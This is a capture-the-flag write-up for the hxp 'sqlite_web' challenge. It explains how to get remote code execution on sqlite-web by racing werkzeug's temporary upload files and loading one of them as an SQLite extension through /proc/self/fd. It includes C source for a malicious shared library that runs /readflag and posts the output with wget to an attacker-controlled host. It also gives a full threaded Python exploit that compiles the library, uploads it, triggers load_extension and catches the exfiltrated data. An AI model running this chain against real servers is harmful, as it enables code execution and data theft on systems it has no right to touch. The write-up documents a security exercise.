Writeup for challenge sqlite_web of our recent CTF.
We have a docker containing the newest version of sqlite-web, a web-based SQLite database browser with the crypto SQL extension from sqlean.
We also have a database with encrypted tables.
The default SQL query is patched to
WITH bytes(i, s) AS (
VALUES(1, '') UNION ALL
SELECT i + 1, (
SELECT ((v|k)-(v&k)) & 255 FROM (
SELECT
(SELECT asciicode from ascii where hexcode = hex(SUBSTR(sha512('hxp{REDACTED}'), i, 1))) as k,
(SELECT asciicode from ascii where hexcode = hex(SUBSTR(encrypted, i, 1))) as v
FROM %s
)
) AS c FROM bytes WHERE c <> '' limit 64 offset 1
) SELECT group_concat(char(s),'') FROM bytes;
In order to decrypt the database entries, we have to get the flag which is stored on the server in /flag.txt
, but only readable with /readflag
.
The sha512
is also the reason for the crypto-extension.
The interface runs on flask which runs on werkzeug.
Just like last time nginx, werkzeug creates temporary files for file uploads. The file only has to be bigger than 500kB:
def default_stream_factory(
total_content_length: t.Optional[int],
content_type: t.Optional[str],
filename: t.Optional[str],
content_length: t.Optional[int] = None,
) -> t.IO[bytes]:
max_size = 1024 * 500
if SpooledTemporaryFile is not None:
return t.cast(t.IO[bytes], SpooledTemporaryFile(max_size=max_size, mode="rb+"))
elif total_content_length is None or total_content_length > max_size:
return t.cast(t.IO[bytes], TemporaryFile("rb+"))
return BytesIO()
We are using the same technique as last time accessing /proc/self/fd/XX
to load the uploaded file as an extension using
select load_extension("/proc/self/fd/XX","function_name")
The extension shared object we want to upload is pretty simple:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
void flag() {{
system("wget --post-data `/readflag` http://{my_host}:{my_port}");
}}
void space() {{
// this just exists so the resulting binary is > 500kB
static char waste[500 * 1024] = {{2}};
}}
compiled with gcc -shared rce.c -o exploit.csv
.
The resulting binary, we upload using the import
function.
Since the uploaded file only exists for a very short amount of time, it’s a race which we have to win.
If we do, we get the flag
hxp{load_extension(r3m0t3_c0d3_3x3cut10n)}
#!/usr/bin/env python3
from threading import Thread
import requests
import subprocess
from http.server import HTTPServer, BaseHTTPRequestHandler
from socketserver import ThreadingMixIn
import sys
EXPLOIT = 'rce.csv'
HOST = 'TODO'
PORT = 0
MY_HOST = 'TODO'
MY_PORT = 0
def send_rce():
print('[+] uploader started', file=sys.stderr)
while True:
r = requests.post(url=f"http://{HOST}:{PORT}/gz/import/",
files={
'file': open(EXPLOIT, 'rb')
})
print(r.status_code, "UPLOAD", file=sys.stderr)
def call_rce(fd):
print('[+] caller started', file=sys.stderr)
while True:
r = requests.post(url=f"http://{HOST}:{PORT}/gz/query",
data={
"sql": f"""select load_extension("/proc/self/fd/{fd}","flag")"""
})
print(r.status_code, "CALL", file=sys.stderr)
def compile_exploit():
with open("rce.c", "w") as f:
f.write(f"""
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
void flag() {{
system("wget --post-data `/readflag` http://{MY_HOST}:{MY_PORT}");
}}
void space() {{
static char waste[500 * 1024] = {{2}};
}}
""")
r = subprocess.run(["gcc", "-shared", "rce.c", "-o", EXPLOIT])
if r.returncode != 0:
exit(-1)
class Handler(BaseHTTPRequestHandler):
def do_POST(self):
content_len = int(self.headers.get('Content-Length'))
flag = self.rfile.read(content_len)
print(flag.decode())
class ThreadingSimpleServer(ThreadingMixIn, HTTPServer):
pass
def server():
print('[+] http server started', file=sys.stderr)
server = ThreadingSimpleServer(('0.0.0.0', MY_PORT), Handler)
# we only need to handle one response
server.handle_request()
server.shutdown()
if __name__ == "__main__":
compile_exploit()
s = Thread(target=server, daemon=True)
s.start()
t1 = Thread(target=send_rce, daemon=True)
t1.start()
for i in range(7, 8):
t2 = Thread(target=call_rce, daemon=True, args=(i,))
t2.start()
s.join()